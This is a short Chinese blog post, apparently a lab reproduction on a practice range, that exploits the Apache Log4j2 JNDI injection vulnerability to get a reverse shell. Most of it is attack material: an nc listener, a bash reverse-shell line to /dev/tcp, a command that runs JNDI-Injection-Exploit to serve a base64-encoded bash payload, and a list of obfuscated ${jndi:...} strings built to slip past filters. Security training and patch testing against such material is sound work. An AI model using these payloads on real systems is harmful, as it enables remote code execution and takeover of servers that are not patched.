log4j2 反弹shell

警告
本文最后更新于 2023-01-29,文中内容可能已过时。

漏洞描述

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

影响版本 : Apache Log4j 2.x <= 2.14.1

环境准备

一台有公网IP的服务器,部署java8用于编译恶意class以及进行ldap/rmi转发 需要开放端口

复现

靶场来源https://hack.zkaq.cn/battle

环境

先进行nc监听 nc -lvp 7677

然后将反弹shell进行base64编码

(冷知识:base64编码的意义其实是为了传输在常见系统中的不可见字符,也就是显示为乱码的那些字符)

bash -i >& /dev/tcp/ip/port<&2

然后使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行编译以及提供ldap服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base编码内容}|{base64,-d}|{bash,-i}" -A "ip"

服务器

根据环境进行poc的选用

payload

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://qweewq.qweewq.qweewq}
${${lower:jndi}:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:${lower:jndi}}:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

got shell

GG

0%